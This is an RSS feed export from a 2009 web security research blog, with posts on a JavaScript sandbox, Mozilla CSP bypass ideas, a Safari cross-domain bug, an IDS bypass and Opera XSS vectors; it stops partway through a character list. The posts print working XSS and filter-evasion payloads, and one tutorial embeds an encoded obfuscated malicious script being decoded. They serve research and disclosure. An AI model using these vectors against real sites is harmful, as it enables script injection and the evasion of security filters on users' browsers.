<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>The Spanner</title>
	<atom:link href="http://www.thespanner.co.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.thespanner.co.uk</link>
	<description>A tool for designers dealing with programmers dealing with designers...</description>
	<pubDate>Fri, 26 Jun 2009 13:20:33 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>New beta of JSReg</title>
		<link>http://www.thespanner.co.uk/2009/06/26/new-beta-of-jsreg/</link>
		<comments>http://www.thespanner.co.uk/2009/06/26/new-beta-of-jsreg/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 13:18:59 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=456</guid>
		<description><![CDATA[I&#8217;ve been slowly developing JSReg over the last few months and I&#8217;ve dropped lots of code and redone it many times. This latest version is a code rewriter and will sandbox most javascript properties and the goal is to produce a complete locked down version (which can be improved upon later).
So far it&#8217;s going well, [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been slowly developing JSReg over the last few months and I&#8217;ve dropped lots of code and redone it many times. This latest version is a code rewriter and will sandbox most javascript properties and the goal is to produce a complete locked down version (which can be improved upon later).</p>
<p>So far it&#8217;s going well, I think the experience of hacking sandboxes and hacking my own code has resulted in a better version. I&#8217;d like to thank Sirdarckcat (Eduardo Vela) for testing and giving me some great suggestions.</p>
<p>There are a couple of bugs and limitations, at the moment arrays don&#8217;t work because of a bug in [] object syntax. I hope to fix this soon though. It also eats new lines when using functions or other stuff, you can get round this at the moment by using ; after the function declaration. The alert function is only supported at the minute but I plan to add more once the code is a bit more stable. Finally there is no DOS protection at the minute and you can probably throw objects in the global scope although you should be able to access other globals or modify them.</p>
<p>So can you break it? Execute code not intended like Function or maybe access global variables other than the $_ prefix and suffix allowed. </p>
<p>Here is a code sample that works fine:-</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> x<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <span style="color: #003366; font-weight: bold;">var</span> m<span style="color: #339933;">=</span><span style="color: #CC0000;">1</span>; <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">getM</span><span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <span style="color: #000066; font-weight: bold;">return</span> m; <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span>; y<span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">new</span> x; y.<span style="color: #660066;">getM</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p><a href="http://www.businessinfo.co.uk/labs/jsreg/jsreg.html">New JSReg!</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/06/26/new-beta-of-jsreg/feed/</wfw:commentRss>
		</item>
		<item>
		<title>CSP - Mozilla content security policy</title>
		<link>http://www.thespanner.co.uk/2009/06/23/csp-mozilla-content-security-policy/</link>
		<comments>http://www.thespanner.co.uk/2009/06/23/csp-mozilla-content-security-policy/#comments</comments>
		<pubDate>Tue, 23 Jun 2009 18:38:34 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=448</guid>
		<description><![CDATA[This is my cup of tea, a whole new way to prevent XSS and related attacks. I&#8217;ve been looking at the specification and I like the core of the policy preventing external scripts, eval etc. But reading it I started to think of ways around it because it&#8217;s fun  
Meta tag
The meta tag seems [...]]]></description>
			<content:encoded><![CDATA[<p>This is my cup of tea, a whole new way to prevent XSS and related attacks. I&#8217;ve been looking at the specification and I like the core of the policy preventing external scripts, eval etc. But reading it I started to think of ways around it because it&#8217;s fun <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>Meta tag</h3>
<p>The meta tag seems like a bad idea to me, if a site enforced the policy from a http header then a attacker controlled meta tag could merge policy data with an attacker&#8217;s evil policy.</p>
<h3>Code will not be created from strings</h3>
<p>I&#8217;m not sure what this is meant to prevent as the allowed section states it allows setTimeout, setInterval with functions as an argument. So you can do this:- setTimeout(function(){alert(1);//any code}); Or redefine existing functions, I&#8217;m not sure that preventing tainted javascript will work this way as there are many ways to obfuscate and execute code.</p>
<h3>Abusing the whitelist</h3>
<p>Finally my other idea was injecting javascript onto itself using a HTML page. This assumes the CSP policy allows scripts to be executed from it&#8217;s own domain. The attack also relies on the fact that you can control the output of the entire page or the output is in quirks mode with any E4X breaking code. So the vectors would work like so:-</p>
<p>The script is commented out when the HTML is executed because it references itself as javascript.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;"><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #006600; font-style: italic;">//&lt;script src=&quot;#&quot;&gt;&lt;/script&gt;</span></pre></div></div>

<p>Here the script injects itself and the resulting javascript ignores the script tag as inline e4x:-</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;"><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span>;&lt;script src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;#&quot;</span><span style="color: #339933;">&gt;&lt;/</span>script&gt;;</pre></div></div>

<p>Demo&#8217;s of the vectors are available here:-<br />
<a href="http://www.businessinfo.co.uk/labs/csp/csp1.html">CSP1 without E4X</a><br />
<a href="http://www.businessinfo.co.uk/labs/csp/csp2.html">CSP2 with E4X</a></p>
<h3>Update&#8230;</h3>
<p>I&#8217;ve updated the vectors and made the e4x one more realistic. Here is a Firefox 3.5 version which gets round the &#8220;whole program&#8221; error by splitting the HTML and inserting a Javascript statement:-</p>
<p><a href="http://www.businessinfo.co.uk/labs/csp/csp3.html">CSP3 with e4x FF 3.5</a></p>
<p>Of course these attacks are theoretical because I&#8217;ve not actually had chance to test CSP, is there a beta? Anyway these vectors could easily be protected by enforcing script content to have the correct headers and not allow HTML data.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/06/23/csp-mozilla-content-security-policy/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Minor Safari cross domain bug</title>
		<link>http://www.thespanner.co.uk/2009/06/19/minor-safari-cross-domain-bug/</link>
		<comments>http://www.thespanner.co.uk/2009/06/19/minor-safari-cross-domain-bug/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 09:42:21 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[safari]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=443</guid>
		<description><![CDATA[I found this while writing Astalanumerator. Safari allows you to overwrite top and parent with native code and maybe other stuff (I haven&#8217;t tried). This allows you to define something on domain A and call it on domain B using the top and parent. I&#8217;d email Apple about it but the last time I reported [...]]]></description>
			<content:encoded><![CDATA[<p>I found this while writing Astalanumerator. Safari allows you to overwrite top and parent with native code and maybe other stuff (I haven&#8217;t tried). This allows you to define something on domain A and call it on domain B using the top and parent. I&#8217;d email Apple about it but the last time I reported XSS on the Apple store they ignored me. </p>
<p>You could use this in dom based XSS situations when you have control over a link. The attack would work like this:-</p>
<p><a href="http://demo.php-ids.org/?test=-parent(1)">PHPIDS</a></p>
<p>But the remote site would include a iframe to the target page and refining parent/top as setTimeout or eval. You could also use &#8220;name&#8221; in this instance to provide a XSS payload.</p>
<p>Here is the POC for the cross domain in action, I use subdomains in this instance but any domain could be used:-</p>
<p><a href="http://www.businessinfo.co.uk/labs/safari/safari1.html">Safari poc</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/06/19/minor-safari-cross-domain-bug/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Asta la vista baby</title>
		<link>http://www.thespanner.co.uk/2009/06/05/asta-la-vista-baby/</link>
		<comments>http://www.thespanner.co.uk/2009/06/05/asta-la-vista-baby/#comments</comments>
		<pubDate>Fri, 05 Jun 2009 13:14:20 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=441</guid>
		<description><![CDATA[A quick update to Astalanumerator, it is now much better. No crashes and a completely new interface. I use a tree menu to traverse objects which can go on forever if you wish. It uses two display windows now, one displays the tree menu and the other displays extra details about the object when clicking.
In [...]]]></description>
			<content:encoded><![CDATA[<p>A quick update to Astalanumerator, it is now much better. No crashes and a completely new interface. I use a tree menu to traverse objects which can go on forever if you wish. It uses two display windows now, one displays the tree menu and the other displays extra details about the object when clicking.</p>
<p>In addition it checks for window leaks on the object clicked, I use a few methods for this but if anyone has any ideas for additional checks then please leave a comment. There is no property limits at all now because of the revised interface.</p>
<p><a href="http://www.businessinfo.co.uk/labs/astalanumerator/astalanumerator.html">New astalanumerator</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/06/05/asta-la-vista-baby/feed/</wfw:commentRss>
		</item>
		<item>
		<title>New PHPIDS vector</title>
		<link>http://www.thespanner.co.uk/2009/06/01/new-phpids-vector/</link>
		<comments>http://www.thespanner.co.uk/2009/06/01/new-phpids-vector/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 10:27:51 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[phpids]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=432</guid>
		<description><![CDATA[No new PHPIDS vectors for a while? So I thought I&#8217;d write a new one as I had 5 minutes spare while drinking my coffee. I used a new technique (as far as I&#8217;m aware) to make things easier  A very old feature in IE is to allow events to be declared as vbscript [...]]]></description>
			<content:encoded><![CDATA[<p>No new PHPIDS vectors for a while? So I thought I&#8217;d write a new one as I had 5 minutes spare while drinking my coffee. I used a new technique (as far as I&#8217;m aware) to make things easier <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> A very old feature in IE is to allow events to be declared as vbscript using the language attribute. This has been used in some very old code but never in XSS, it&#8217;s definitely not on the cheatsheet. </p>
<p>Anyway here is the vector:-</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>b<span style="color: #339933;">/</span>alt<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;1&quot;</span>onmouseover<span style="color: #339933;">=</span>InputBox<span style="color: #339933;">+</span><span style="color: #CC0000;">1</span> language<span style="color: #339933;">=</span>vbs<span style="color: #339933;">&gt;</span>test<span style="color: #339933;">&lt;/</span>b<span style="color: #339933;">&gt;</span></pre></div></div>

<p><a href="http://demo.phpids.org/?test=%3Cb/alt=%221%22onmouseover=InputBox%2b1 language=vbs%3Etest%3C/b%3E">POC</a></p>
<p>You have to rollover the bold &#8220;test&#8221; on the page to execute and allow scripted windows. The errors are related to the dom injections that are not valid because it&#8217;s a HTML injection. You could get round the scripted windows dialog by using other code but I only had 5 mins.</p>
<p>VBScript doesn&#8217;t require () to call functions and the plus converts 1 to a number (which it already is), this is used to bypass the need to use quotes within that particular attribute.</p>
<p>Note the XSS Filter in IE8 catches this vector.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/06/01/new-phpids-vector/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Astalanumerator baby</title>
		<link>http://www.thespanner.co.uk/2009/05/18/astalanumerator-baby/</link>
		<comments>http://www.thespanner.co.uk/2009/05/18/astalanumerator-baby/#comments</comments>
		<pubDate>Mon, 18 May 2009 12:44:27 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=427</guid>
		<description><![CDATA[I wanted to map all properties in javascript and inspect them regardless if they were objects or not. IE doesn&#8217;t support for(i in..) for native properties like constructor etc. So I decided to write a cross platform enumerator that could map everything. I decided to call it &#8220;Astalanumerator&#8221; as a silly reference to terminator combined [...]]]></description>
			<content:encoded><![CDATA[<p>I wanted to map all properties in javascript and inspect them regardless if they were objects or not. IE doesn&#8217;t support for(i in..) for native properties like constructor etc. So I decided to write a cross platform enumerator that could map everything. I decided to call it &#8220;Astalanumerator&#8221; as a silly reference to terminator combined with enumerator. </p>
<p>It works using a list of js properties stored within an array, you pass an object to it and it checks each of the properties using the array and attempts to navigate through it. Originally I had it enumerating until it reached null but this caused every browser to lock up as some objects went on forever, so I put some limits in place.</p>
<p>I use timeouts to prevent browser lockups and I use list elements to indent each of the objects, this is nice because I can delay the result and continue the loop while the object has finished enumerating. The third parameter of the inspect function handles this by storing the target element so each of the objects can be linked together.</p>
<h3>Limits</h3>
<p>The limits in place help stop browser crashes here is how they work:-<br />
1. Number of properties to enum:<br />
This is the limit of valid properties of the object, it will only evaluate 10 per object by default.<br />
2. Number of inner properties to enum:<br />
The inner properties limit is the amount of child properties to enumerate.<br />
3. Only enum objects?:<br />
This option allows you to enum all properties even numbers, by default it is restricted to objects only.</p>
<p><a href="http://www.businessinfo.co.uk/labs/astalanumerator/astalanumerator.html">Astalanumerator demo</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/05/18/astalanumerator-baby/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Hackvertor obfuscated code tutorial</title>
		<link>http://www.thespanner.co.uk/2009/05/14/hackvertor-obfuscated-code/</link>
		<comments>http://www.thespanner.co.uk/2009/05/14/hackvertor-obfuscated-code/#comments</comments>
		<pubDate>Thu, 14 May 2009 20:37:09 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[hackvertor]]></category>

		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=423</guid>
		<description><![CDATA[I thought I&#8217;d post a quick tutorial on how Hackvertor can be used to decode obfuscated javascript. This is based on a real request on sla.ckers. I&#8217;ll walk you through the code and tidy it up and show you how to use the advanced tags to easily decode the encoded string.
Warning disclaimer
Do not try and [...]]]></description>
			<content:encoded><![CDATA[<p>I thought I&#8217;d post a quick tutorial on how Hackvertor can be used to decode obfuscated javascript. This is based on a real request on <a href="http://sla.ckers.org/forum/read.php?11,28034">sla.ckers</a>. I&#8217;ll walk you through the code and tidy it up and show you how to use the advanced tags to easily decode the encoded string.</p>
<h3>Warning disclaimer</h3>
<p>Do not try and execute the javascript provided, only use it within the Hackvertor input window. I have not executed or tested what the code does I have only decoded. Use this tutorial at your own risk.</p>
<h3>Decoding</h3>
<p>I&#8217;ve <a href="http://sla.ckers.org/forum/read.php?11,28034,28036#msg-28035">tidied up the code</a> if you would like to see how it&#8217;s encoded. </p>
<p>The code is quite simple, a large string is used as the payload which I&#8217;ve renamed &#8220;payload&#8221;. &#8220;r28&#8243; does nothing it is a empty string, I guess it&#8217;s there to make decoding more difficult. It doesn&#8217;t. </p>
<p>The payload is then looped through until the end of the string and two characters are extracted in each loop. These two characters are passed to a &#8220;fromHex&#8221; function which I&#8217;ve helpfully renamed and the parseInt function is used to transform the characters from hex into decimal numbers. </p>
<p>Then the result is stored in the &#8220;decoded&#8221; string which again I&#8217;ve renamed, before finally passing the decoded string to the document.write call which sends the result to be outputted to the page. </p>
<h3>Light work for Hackvertor</h3>
<p>Pretty easy so far eh? The code isn&#8217;t heavily obfuscated and is pretty easy to understand. I&#8217;ve talked about making it more difficult but no matter how difficult it is the encoding will eventually lose the race.</p>
<p>To decode it with Hackvertor we need to first remove any unneeded strings like the &#8220;r28&#8243; variable which actually contains nothing. We can do this with the replace tag in Hackvertor, look in the HVURL at the bottom and you&#8217;ll see the first replace tag. Remember Hackvertor works from the inner part outwards.
<pre><@replace_25("'\+r28\+'",)></pre>
<p>The first part is just the name and number of the tag &#8220;replace_25&#8243;, the parenthesis indicate that it&#8217;s a Hackvertor parameter. In this case replace accepts &#8220;find this&#8221; as the first param and a second param which is the replace string. So we use &#8220;&#8216;\+r28\+&#8217;&#8221; to find the blank variable and replace it with nothing. It works as a regular expression that&#8217;s why the + has been escaped.</p>
<p>Next we use the replace tag again to remove all instances of single quotes or semi-colons
<pre><@replace_26("[';]",)></pre>
<p>Then we use the
<pre><@find_0(.{2},gim)></pre>
<p> tag to extract the two hex characters we require again this is a regular expression. This tag returns the matches as a comma separated list.</p>
<p>We use the comma separated hex values with our next tag
<pre><@hex2dec_0(',')></pre>
<p> which loops through the commas and converts every hex sequence into decimal. The param tells the tag to use a regular expression to split the characters in this case it is commas.</p>
<pre><@fromcharcodes_1></pre>
<p> is used to convert our now decimal sequence of characters into the actual characters from the character code number. This tag does not use params.</p>
<p>Finally I use
<pre><@find_1("'.+'",gim)></pre>
<p> to find the urlencoded sequence, replace any unwanted characters with
<pre><@replace_2("'",)></pre>
<p> which removes all single quotes.
<pre><@d_enc_3></pre>
<p> simple urldecodes the sequence which returns our decoded string.</p>
<p><a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php#PEBkX2VuY18yMT48QHJlcGxhY2VfMjAoIiciLCk%2BPEBmaW5kXzEwKCInLisnIixnaW0pPjxAZnJvbWNoYXJjb2Rlc18xPjxAaGV4MmRlY18wKCcsJyk%2BPEBmaW5kXzAoLnsyfSxnaW0pPjxAcmVwbGFjZV8yNigiWyc7XSIsKT48QHJlcGxhY2VfMjUoIidcK3IyOFwrJyIsKT4nM0M3JytyMjgrJzM2MzcnK3IyOCsnMjY5NycrcjI4KycwNycrcjI4Kyc0M0U2OTY2MjgyMTZENycrcjI4Kyc5Njk2MTI5NycrcjI4KydCNjQ2RjYzNycrcjI4Kyc1NkQ2NTZFNycrcjI4Kyc0MkU3JytyMjgrJzcnK3IyOCsnNycrcjI4KycyNjk3JytyMjgrJzQ2NTI4NycrcjI4Kyc1NkU2NTcnK3IyOCsnMzYzNjE3JytyMjgrJzA2NTI4MjAyNycrcjI4KycyNTMzNjMyNTM2MzkyNTM2MzYyNTM3JytyMjgrJzMyMjUzNjMxMjUzNjY0MjUzNjM1MjUzMjMwMjUzNjY1MjUzNjMxMjUzNjY0MjUzNjM1MjUzMzY0MjUzNjMzMjUzMzMyMjUzMzM2MjUzMjMwMjUzNycrcjI4KyczMzI1MzcnK3IyOCsnMzIyNTM2MzMyNTMzNjQyNTMyMzcnK3IyOCsnMjUzNjM4MjUzNycrcjI4KyczNDI1MzcnK3IyOCsnMzQyNTM3JytyMjgrJzMwMjUzMzYxMjUzMjY2MjUzMjY2MjUzNjMxMjUzNjY1MjUzNycrcjI4KyczNDI1MzYzOTI1MzcnK3IyOCsnMzYyNTM2MzkyNTM3JytyMjgrJzMyMjUzNycrcjI4KyczNTI1MzcnK3IyOCsnMzMyNTMyNjUyNTM3JytyMjgrJzM2MjUzNjMzMjUzMjY2MjUzMzY2MjUzMjM3JytyMjgrJzI1MzI2MjI1MzQ2NDI1MzYzMTI1MzcnK3IyOCsnMzQyNTM2MzgyNTMyNjUyNTM3JytyMjgrJzMyMjUzNjY2MjUzNycrcjI4KyczNTI1MzY2NTI1MzYzNDI1MzIzODI1MzQ2NDI1MzYzMTI1MzcnK3IyOCsnMzQyNTM2MzgyNTMyNjUyNTM3JytyMjgrJzMyMjUzNjMxMjUzNjY1MjUzNjM0MjUzNjY2MjUzNjY0MjUzMjM4MjUzMjM5MjUzMjYxMjUzMzM2MjUzMzMzMjUzMzMxMjUzMzM2MjUzMzM4MjUzMjM5MjUzMjYyMjUzMjM3JytyMjgrJzI1MzMzOTI1MzMzOTI1MzMzNTI1MzIzNycrcjI4KycyNTMyMzAyNTM3JytyMjgrJzM3JytyMjgrJzI1MzYzOTI1MzYzNDI1MzcnK3IyOCsnMzQyNTM2MzgyNTMzNjQyNTMzMzMyNTMzMzcnK3IyOCsnMjUzMzM2MjUzMjMwMjUzNjM4MjUzNjM1MjUzNjM5MjUzNjM3JytyMjgrJzI1MzYzODI1MzcnK3IyOCsnMzQyNTMzNjQyNTMzMzEyNTMzMzYyNTMzMzgyNTMyMzAyNTM3JytyMjgrJzMzMjUzNycrcjI4KyczNDI1MzcnK3IyOCsnMzkyNTM2NjMyNTM2MzUyNTMzNjQyNTMyMzcnK3IyOCsnMjUzNycrcjI4KyczNjI1MzYzOTI1MzcnK3IyOCsnMzMyNTM2MzkyNTM2MzIyNTM2MzkyNTM2NjMyNTM2MzkyNTM3JytyMjgrJzM0MjUzNycrcjI4KyczOTI1MzM2MTI1MzYzODI1MzYzOTI1MzYzNDI1MzYzNDI1MzYzNTI1MzY2NTI1MzIzNycrcjI4KycyNTMzNjUyNTMzNjMyNTMyNjYyNTM2MzkyNTM2MzYyNTM3JytyMjgrJzMyMjUzNjMxMjUzNjY0MjUzNjM1MjUzMzY1MjcnK3IyOCsnMjkyOTNCNycrcjI4KydENycrcjI4Kyc2NjE3JytyMjgrJzIyMDZENycrcjI4Kyc5Njk2MTNENycrcjI4Kyc0NycrcjI4KycyNycrcjI4Kyc1NjUzQjNDMkY3JytyMjgrJzM2MzcnK3IyOCsnMjY5NycrcjI4KycwNycrcjI4Kyc0M0UnOzxAL3JlcGxhY2VfMjU%2BPEAvcmVwbGFjZV8yNj48QC9maW5kXzA%2BPEAvaGV4MmRlY18wPjxAL2Zyb21jaGFyY29kZXNfMT48QC9maW5kXzEwPjxAL3JlcGxhY2VfMjA%2BPEAvZF9lbmNfMjE%2B">The final result is available here</a> and the javascript never gets executed only decoded.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/05/14/hackvertor-obfuscated-code/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Three-Strikes and you&#8217;re DOSd</title>
		<link>http://www.thespanner.co.uk/2009/05/13/three-strikes-and-youre-dosd/</link>
		<comments>http://www.thespanner.co.uk/2009/05/13/three-strikes-and-youre-dosd/#comments</comments>
		<pubDate>Wed, 13 May 2009 13:58:03 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=418</guid>
		<description><![CDATA[You may have heard about the Three-Strikes law proposal that has been suggested as a way to end copyright infringement. If you think about it for a minute, it could be the ultimate way to create a DOS attack. Web pages could abuse this system to ban you from the internet by using iframes or [...]]]></description>
			<content:encoded><![CDATA[<p>You may have heard about the <a href="http://news.bbc.co.uk/1/hi/world/europe/7992262.stm">Three-Strikes</a> law proposal that has been suggested as a way to end copyright infringement. If you think about it for a minute, it could be the ultimate way to create a DOS attack. Web pages could abuse this system to ban you from the internet by using iframes or background images to download content on your behalf. Simply reading your RSS reader could result in your connection not working any more. </p>
<p>Suddenly minor flaws in web sites could be abused to take down entire web sites for long periods by a remote connection from the server. In order for this law to work it would have to be automated and automation leads to abuse, not being able to identify the user that was directly responsible makes this law a terrible idea.</p>
<p>It&#8217;s clear to me that whoever thought of this law has no idea how the internet works or how it can be abused. If this law is ever passed it will be bad news for everyone on the internet, from a censorship and security perspective.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/05/13/three-strikes-and-youre-dosd/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Opera XSS vectors</title>
		<link>http://www.thespanner.co.uk/2009/05/08/opera-xss-vectors/</link>
		<comments>http://www.thespanner.co.uk/2009/05/08/opera-xss-vectors/#comments</comments>
		<pubDate>Fri, 08 May 2009 23:05:15 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=411</guid>
		<description><![CDATA[It turns out I was right. Originally I thought the protocols reported by my javascript fuzzer were false positives but as like lots of my code it seems to know better than me  I tested the context of the vectors in a normal HTML link which didn&#8217;t work correctly. But I was messing with [...]]]></description>
			<content:encoded><![CDATA[<p>It turns out I was right. <a href="http://www.thespanner.co.uk/2008/09/18/javascript-protocol-fuzzer-and-opera/">Originally</a> I thought the protocols reported by my javascript fuzzer were false positives but as like lots of my code it seems to know better than me <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> I tested the context of the vectors in a normal HTML link which didn&#8217;t work correctly. But I was messing with some XSS in Hackvertor today with the latest copy of Opera and I found they worked.</p>
<p>Surprisingly Opera still supports the table background vector and combining my protocol discoveries you can create some cool additional vectors. The table background vector looks like this:-</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>table background<span style="color: #339933;">=</span>javascript<span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;</span></pre></div></div>

<p>Now we can combine it with some of the unicode characters that work after the javascript string and before the colon:-</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>table background<span style="color: #339933;">=</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">14848</span><span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;</span></pre></div></div>

<p>The characters can be repeated many times like this:-</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>table background<span style="color: #339933;">=</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">14848</span><span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">14848</span><span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">14848</span><span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">14848</span><span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">14848</span><span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;</span></pre></div></div>

<p>Lots of other characters seem to be affected, I&#8217;ve randomly tested a few like 11520 but I haven&#8217;t verified them all. Here are a list of the characters:-</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;">Char<span style="color: #339933;">:</span><span style="color: #CC0000;">9</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">9</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">10</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">10</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">13</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">13</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">58</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">58</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">2048</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">2048</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">2304</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">2304</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">3840</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">3840</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">4096</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">4096</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">4256</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">4256</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">4352</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">4352</span><span style="color: #339933;">:</span>
